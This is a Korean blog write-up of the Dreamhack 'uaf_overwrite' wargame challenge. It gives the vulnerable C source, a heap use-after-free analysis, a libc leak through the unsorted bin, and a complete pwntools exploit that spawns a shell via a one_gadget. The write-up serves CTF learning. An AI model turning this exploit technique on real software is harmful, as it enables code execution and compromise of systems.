e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • x64
  • 1-day
  • X86
  • rev-basic
  • dvwa
  • wargame
  • BOF
  • how2heap
  • dreamhack.io
  • Heap

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[Dreamhack] uaf_overwrite - write up

2023. 2. 3. 16:56

Index

문제
보호기법 확인
uaf_overwrite.c
코드 분석
전역 변수 선언
human_func()
robot_func()
custom_func()
문제 풀이
Libc Leak
Local Exploit Issue
익스플로잇


uaf_overwrite
Description Exploit Tech: Use After Free에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/357/

문제

보호기법 확인

모든 보호 기법이 걸려있다.

uaf_overwrite.c

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  printf("Human Age: ");
  scanf("%ld", &human->age);
  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
  robot->fptr(robot);
  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");
    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

코드의 메인 함수에서 숫자를 입력하여 메뉴에 맞게 각 함수가 실행된다. 각 함수가 어떤 역할을 하는지 확인하면서 문제를 풀어보자.

코드 분석

전역 변수 선언

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

먼저 두 구조체의 자료형을 보면 동일한 메모리 크기를 사용하는 것을 알 수 있다.

UAF(Use After Free 문제인 만큼 Human→age에 주소 값을 입력하고 해제하고 Robot 구조체로 재 할당하면, 재 할당 받은 Robot→fptr로 원하는 코드 흐름을 실행시킬 수 있을 것 같다. 또한, 주소를 담고 있는 custom 배열과 이를 참조하는 c_idx가 선언된다.

각 변수들이 어디에 어떻게 사용되는지 확인하면서 문제를 차근차근 풀어보자.

human_func()

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  printf("Human Age: ");
  scanf("%ld", &human->age);
  free(human);
}

Human(1번) 메뉴를 선택하면 human_function함수가 실행된다. Human 구조체 1개를 동적할당 하고, weight와 age를 입력받아 데이터를 저장하고 곧바로 free시킨다.

robot_func()

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
  robot->fptr(robot);
  free(robot);
}

Robot(2번) 메뉴를 선택하면 robot_function함수가 실행된다. Robot 구조체 1개를 동적할당 하고, weight를 입력받아 데이터를 저장한다. fptr에 대한 입력은 없지만, robot→fptr의 값이 NULL이 아니라면 fptr의 주소로 점프한다.

위의 두개의 함수를 통해 Human→age에 원하는 주소를 입력해두고, robot_func()을 실행하면 robot→fptr에 앞서 저장해준 Human→age값으로 robot→fptr()이 실행된다. 그렇다면 Human→age에 원샷 가젯의 주소를 넣으면 셸을 얻을 수 있을 것이다. 하지만 우리는 libc를 모르기 때문에, 메모리 릭을 통해 libc를 먼저 구해야 한다.

custom_func()

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");
    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  c_idx++;
}

마지막으로 Custom(3번) 메뉴를 선택하면 custom_func함수가 실행된다. 먼저 첫 if문의 c_idx는 앞서 선언했던 전역변수이다. 이 함수가 실행될 때마다 마지막에 c_idx++를 해주므로, 총 10번을 실행할 수 있다.

입력받은 size가 0x100보다 크다면 custom[c_idx]에 size만큼의 동적할당을 해주고, 데이터를 입력받는다.

char *custom[10];
printf("Data: %s\n", custom[c_idx]);

데이터를 입력받은 후, custom[c_idx]에 값을 출력해준다. 이 Data 부분에는 Unsorted bin을 free 했을 때 남아있던 fd 값이 출력된다. unsorted bin에 들어간 청크의 fd와 bk은 main arena의 주소이고, 이 오프셋을 통해서 libc를 구할 수 있다.

이후 idx를 입력받아 if조건문이 참이라면 곧바로 free를 해준다. if 구문을 자세히 확인해보자.

unsigned int idx;
...
if (idx < 10 && custom[idx]){
	free(custom[idx]);
  custom[idx] = NULL;
}
...

idx가 unsigned int자료형으로 선언되었다. 만약 idx에 -1(음수)를 입력하게 되면 0xffffffff와 같은 형식으로 메모리에 입력된다. 그러면 할당된 메모리를 free하지 않는다.

문제 풀이

Libc Leak

앞서 말한 Unsorted bin을 이용하여 메모리를 릭해서 main_arena 주소를 얻고 offset을 통해 libc를 구할 것이다.

💡
ASLR로 각 단계별 사진 마다 주소가 다를 수 있다. 주소만 다르고 구조는 같다!

1. Unsorted bin에 들어갈 크기의 Chunk 할당 (0x500)

custom_func() 함수를 사용할 것이고, 할당 이후 free를 하지 않을 것이다. 그러므로 idx 값은 음수로 세팅하여 if 조건문을 false로 만든다.

Size는 총 0x511로 0x500만큼의 사용가능한 heap 메모리가 할당되었다.

💡
size가 0x500이 아니고 0x511인 이유 0x500(mem) + 0x10(header) + 0x1(PREV_INUSE)

2. Unsorted bin에 들어갈 크기(0x500)의 또 다른 Chunk 할당 후, 앞선 청크 해제

앞에서 할당된 청크를 해제하기 위해서는 custom[0]으로 주어야 하므로, idx 값은 0으로 입력한다.

3. 첫번째에서 할당한 크기와 같은 크기(0x500)의 Chunk 할당 (free X)

청크에 데이터 입력은 1바이트만 입력을 하고, 다시 해제되지 않도록 idx는 음수값을 준다. 청크의 크기는 1번에서 할당해준 크기(0x500)을 할당하면 이전에 해제되었던 청크가 그대로 할당된다. 할당하면서 입력해준 Data의 값은 B이다. 오른쪽 사진이 입력이 된 메모리 사진이다. unsorted bin에 청크가 한개 들어갔으므로, 그 해제된 청크의 fd와 bk는 main_arena 주소를 나타낼 것이다. main_arena는 0x7fec54406be0이지만, fd의 값은 0x7fce54406b42이다. 이 값은 우리가 마지막에 입력한 B가 1바이트 입력되었기 때문에 값이 바뀐 것이다.

main_arena의 offset값은 __malloc_hook+0x10 의 값이므로, 이 값을 이용하면 libcbase주소를 얻을 수 있다. 또한 one_gadget 툴을 사용해서 원샷 가젯의 주소를 얻는다.

Local Exploit Issue

로컬에서 익스플로잇을 진행했을 때, 우분투 환경이 달라서 다른 libc를 사용하기 때문에 원샷가젯이 안먹었다. 그래서 문제에 해당하는 offset 값을 얻을 수 없었다.

해결방법1 : 문제와 같은 환경을 맞춘 후, gdb로 offset 구하기

청크가 해제됐을 때의 fd와 bk로 main_arena 주소를 확인한다.

vmmap으로 libc의 시작주소를 확인한다.

빼면 오프셋이 나온다.

해결방법2 : libc에서 arena offset을 구하기

arena offset은 __malloc_hook주소에서 +0x10 하면 된다.

0x3ebc30 + 0x10 = 0x3ebc40(main_arena offset)

이 값을 이용하여 leak된 주소에서 빼주면 libc base를 구할 수 있다. 이때 leak된 주소는 우리가 입력한 1byte 값이 들어갔기 때문에 arena offset과는 값이 다르므로, 아래와 같이 연산해야 libc base 주소를 구할 수 있다.

lb = leak - arena_offset + (arena_1byte-leak_1byte)

익스플로잇

앞서 코드 분석에서 설명한대로 human_func()함수를 통해 human→age에 값을 넣고 free시킨 후, robot_func()함수를 실행시켜서 robot→fptr();가 실행되면서 원샷 가젯으로 점프하여 셸을 획득한다.

#!/usr/bin/python3
from pwn import *
context.log_level='debug'

#p = process("./uaf_overwrite")
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF("./uaf_overwrite")
p = remote('host3.dreamhack.games', 24232)
libc = ELF('./libc-2.27.so')

#oneshot = [0xe3afe, 0xe3b01, 0xe3b04] #local
oneshot = [0x4f3d5, 0x4f432, 0x10a41c] #remote

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
    p.sendlineafter(b">", b"1")
    p.sendlineafter(b": ", str(weight))
    p.sendlineafter(b": ", str(age))

def robot(weight):
    p.sendlineafter(b">", b"2")
    p.sendlineafter(b": ", str(weight))

def custom(size, data, idx):
    p.sendlineafter(b">", b"3")
    p.sendlineafter(b": ", str(size))
    p.sendafter(b": ", data)
    p.sendlineafter(b": ", str(idx))

#[1] libc leak
custom(0x500, b"AAAA", -1)
custom(0x500, b"CCCC", 0)
custom(0x500, b"B", -1) #B -> 0x42

arena_offset = libc.symbols['__malloc_hook'] + 0x10
leak = u64(p.recvline()[:-1].ljust(8, b"\x00"))
arena_1byte = arena_offset & 0xff
leak_1byte = leak & 0xff
lb = leak - arena_offset + (arena_1byte-leak_1byte)
og = lb + oneshot[2]

slog("arena_offset", arena_offset)
slog("leak addr", leak)
slog("libc_base", lb)
slog("one_gadget", og)

#[2] exploit
human("1", og)
#gdb.attach(p) #local debugging
#pause()
robot("1")

p.interactive()


Uploaded by N2T

    'Pwnable' 카테고리의 다른 글
    • Heap 메모리 구조2 - bins
    • Heap 메모리 구조1 - Chunk 필드와 종류
    • [Dreamhack] ssp_001 - write up
    • [Dreamhack] basic_exploitation_003 - write up
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바